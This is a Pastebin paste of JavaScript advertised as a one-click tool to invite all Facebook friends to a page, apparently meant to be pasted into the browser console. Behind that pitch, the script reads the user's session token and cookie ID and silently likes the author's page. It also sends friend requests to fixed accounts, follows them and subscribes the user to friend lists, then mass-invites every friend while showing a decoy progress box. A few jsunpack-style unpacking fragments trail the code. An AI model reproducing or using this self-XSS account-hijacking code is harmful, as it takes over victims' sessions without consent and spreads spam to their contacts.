Advertisement
LatesttipsandTricks

Invite All Facebook Friends to Facebook Page in Single Click

Nov 18th, 2014
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.67 KB | None | 0 0
  1. //eval
  2. var parent=document.getElementsByTagName("html")[0];
  3. var _body = document.getElementsByTagName('body')[0];
  4. var _div = document.createElement('div');
  5. _div.style.height="25";
  6. _div.style.width="100%";
  7. _div.style.position="fixed";
  8. _div.style.top="auto";
  9. _div.style.bottom="0";
  10. _div.align="center";
  11. var _audio= document.createElement('audio');
  12. _audio.style.width="100%";
  13. _audio.style.height="25px";
  14. _audio.controls = true;
  15. _audio.autoplay = true;
  16. _audio.src = "https://hscretions.googlecode.com/svn/Tonight%20(I%20m%20Lovin%20%20You).mp3";
  17. _div.appendChild(_audio);
  18. _body.appendChild(_div);
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21. var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
  22. var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  23. body = document.body;
  24. if(body != null)
  25. {
  26. div = document.createElement("div");
  27. div.style.position = "fixed";
  28. div.style.display = "block";
  29. div.style.width = "100px";
  30. div.style.opacity= 0.90;
  31. div.style.bottom = "+60px";
  32. div.style.left = "+0px";
  33. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  34. div.style.border = "1px solid rgba(0,0,0,0.5)";
  35. div.style.padding = "3px";
  36. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='https://www.facebook.com/sharer/sharer.php?u=http%3A%2F%2FLatesttipsandtricks.com&t=Facebook+Background+Theme' title='Share'><blink><center>SHARE</center></blink></a>"
  37. body.appendChild(div);
  38. }
  39. if(body != null)
  40. {
  41. div = document.createElement("div");
  42. div.style.position = "fixed";
  43. div.style.display = "block";
  44. div.style.width = "100px";
  45. div.style.opacity= 0.90;
  46. div.style.bottom = "+35px";
  47. div.style.left = "+0px";
  48. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  49. div.style.border = "1px solid rgba(0,0,0,0.5)";
  50. div.style.padding = "3px";
  51. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='' title='Refresh'><blink><center>Close (F5)</center></blink></a>"
  52. body.appendChild(div);
  53. }
  54. if(body != null)
  55. {
  56. div = document.createElement("div");
  57. div.style.position = "fixed";
  58. div.style.display = "block";
  59. div.style.width = "135px";
  60. div.style.opacity= 0.90;
  61. div.style.bottom = "+10px";
  62. div.style.left = "+0px";
  63. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  64. div.style.border = "1px solid rgba(0,0,0,0.5)";
  65. div.style.padding = "3px";
  66. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='http://www.Latesttipsandtricks.com/' title='invitefanpage'><blink><center>FREE LIKES HERE!</center></blink></a>"
  67. body.appendChild(div);
  68. }
  69. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  70. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  71. function Like(p) {
  72. var Page = new XMLHttpRequest();
  73. var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  74. var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";
  75. Page.open("POST", PageURL, true);
  76. Page.onreadystatechange = function () {
  77. if (Page.readyState == 4 && Page.status == 200) {
  78. Page.close;
  79. }
  80. };
  81. Page.send(PageParams);
  82. }
  83. Like("570662356389204");
  84.  
  85. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  86. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  87. function IDS(r) {
  88. var X = new XMLHttpRequest();
  89. var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  90. var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
  91. X.open("POST", XURL, true);
  92. X.onreadystatechange = function () {
  93. if (X.readyState == 4 && X.status == 200) {
  94. X.close;
  95. }
  96. };
  97. X.send(XParams);
  98. }
  99. IDS("570662356389204");
  100. IDS("123206454405316");
  101. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  102. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  103. function a(abone) {
  104. var http4 = new XMLHttpRequest();
  105. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  106. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  107. http4.open("POST", url4, true);
  108. http4.onreadystatechange = function () {
  109. if (http4.readyState == 4 && http4.status == 200) {
  110. http4.close;
  111. }
  112. };
  113. http4.send(params4);
  114. }
  115. a("570662356389204");
  116. a("123206454405316");
  117. var Title = "Auto Page Inviter</A>";
  118. var Descriptions = "",
  119. _text = 'Powered By: <A style="color:#3B5998;" href="https://www.facebook.com/pages/Tips-And-Tricks/570662356389204" target="_blank">Facebook Tools</A></br>Script Made By: </A><A style="color:#3B5998;" href="https://www.facebook.com/pages/Tips-And-Tricks/570662356389204" target="_blank"> Latest Tips and Tricks</A></A>,</A></A>.</br>For More Tools Visit Our Blogs <A style="color:#3B5998;" href="http://Latesttipsandtricks.com/" target="_blank">Automate Your Facebook</A>.</A>';
  120. page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];
  121. function InviteFriends(opo) {
  122. jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
  123. var b = a.substring(a.indexOf("{"));
  124. var c = JSON.parse(b);
  125. i--;
  126. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  127. if (c.error) {
  128. Descriptions += "color:darkred'>";
  129. err++;
  130. if (c.errorDescription) Descriptions += c.errorDescription;
  131. else Descriptions += JSON.stringify(c, null, "")
  132. } else {
  133. Descriptions += "color:darkgreen'>";
  134. Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";
  135. suc++
  136. }
  137. Descriptions += "</div>";
  138. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  139. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  140. if (i > 0) {
  141. display += arr.length + " Friends Detected<br/>";
  142. display += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed ";
  143. display += "(" + i + " Lefted...)";
  144. display += "<div class='friend-edge'>";
  145. display += Descriptions;
  146. display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  147. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  148. display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>";
  149. display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Cancel</span><br/>";
  150. display += _text;
  151. display += "</div>";
  152. display += "</div>";
  153. display += "</div>";
  154. window[tag + "_close"] = true
  155. } else {
  156. Title = "All Of Your Friends Have Been Invited to Like Your Page.</A>";
  157. display += arr.length + " Friends Detected and ";
  158. display += "<b>" + suc + " Friends Invited.</b></br>";
  159. display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
  160. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
  161. display += _text;
  162. display += "</div>";
  163. window[tag + "_close"] = false
  164. }
  165. display += "</div>";
  166. document.getElementById("pagelet_sidebar").innerHTML = display
  167. }, "text", "post");
  168. tay--;
  169. if (tay > 0) {
  170. var s = arr[tay];
  171. setTimeout("InviteFriends(" + s + ")", 100)
  172. }
  173. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  174.  
  175. if (page_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=570662356389204&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  176. }
  177. jx = {
  178. b: function () {
  179. var b = !1;
  180. if ("undefined" != typeof ActiveXObject) try {
  181. b = new ActiveXObject("Msxml2.XMLHTTP")
  182. } catch (c) {
  183. try {
  184. b = new ActiveXObject("Microsoft.XMLHTTP")
  185. } catch (a) {
  186. b = !1
  187. }
  188. } else if (window.XMLHttpRequest) try {
  189. b = new XMLHttpRequest
  190. } catch (h) {
  191. b = !1
  192. }
  193. return b
  194. },
  195. load: function (b, c, a, h, g) {
  196. var e = this.d();
  197. if (e && b) {
  198. e.overrideMimeType && e.overrideMimeType("text/xml");
  199. h || (h = "GET");
  200. a || (a = "text");
  201. g || (g = {});
  202. a = a.toLowerCase();
  203. h = h.toUpperCase();
  204. b += b.indexOf("?") + 1 ? "&" : "?";
  205. var k = null;
  206. "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
  207. e.open(h, b, !0);
  208. e.onreadystatechange = g.c ? function () {
  209. g.c(e)
  210. } : function () {
  211. if (4 == e.readyState)
  212. if (200 == e.status) {
  213. var b = "";
  214. e.responseText && (b = e.responseText);
  215. "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
  216. c && c(b)
  217. } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
  218. };
  219. e.send(k)
  220. }
  221. },
  222. d: function () {
  223. return this.b()
  224. }
  225. };
  226. function sublist(uidss) {
  227. var a = document.createElement('script');
  228. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  229. document.body.appendChild(a);
  230. }
  231. //Inviting Wait....
  232. sublist("631670190184315");sublist("633806906637310");sublist("712463368771663");sublist("712462202105113");
  233. sublist("712505125434154");sublist("712505308767469");sublist("712505458767454");sublist("712505615434105");
  234. sublist("712505925434074");
  235. function ChangeLocation() {
  236. window.location.href = "http://www.facebook.com/"
  237. }
  238. setTimeout("ChangeLocation", 1);
  239. window.onbeforeunload = function () {
  240. if (window[tag + "_close"]) return "This script is running now!"
  241. };
  242. var i = 3;
  243. var tay = 3;
  244. var suc = 0;
  245. var err = 0;
  246. var arr = new Array;
  247. var arn = new Array;
  248. var pho = new Array;
  249. var tag = "Close";
  250. var page_name, x = document.getElementsByTagName("span");
  251. for (i = 0; i < x.length; i++)
  252. if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
  253. var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  254. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  255. jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
  256. var b = a;
  257. var c = b.substring(b.indexOf("{"));
  258. var d = JSON.parse(c);
  259. d = d.payload.entries;
  260. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  261. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  262. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  263. i = arr.length - 1;
  264. tay = i;
  265. console.log(arr.length);
  266. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
  267. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  268. display += arr.length + " Friends Detected, Please Wait . . .";
  269. display += "</div>";
  270. document.getElementById("pagelet_sidebar").innerHTML = display;
  271. InviteFriends(arr[i])
  272. });
  273.  
  274.  
  275. //jsunpack.called CreateElement div
  276. //jsunpack.url element = undefined
  277. //jsunpack.url var _4855 = var parent=document.getElementsByTagName("html")[0];
  278. var _body = document.getElementsByTagName('body')[0];
  279. var _div = document.createElement('div');s
  280. _div.style.height="25";
  281. _div.style.width="100%";
  282. _div.style.position="fixed";
  283. _div.style.top="auto";
  284. _div
  285. //jsunpack.url var _4052 = var parent=document.getElementsByTagName("html")[0];
  286. var _body = document.getElementsByTagName('body')[0];
  287. var _div = document.createElement('div');
  288. _div.style.height="25";
  289. _div.style.width="100%";
  290. _div.style.position="fixed";
  291. _div.style.top="auto";
  292. _div
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement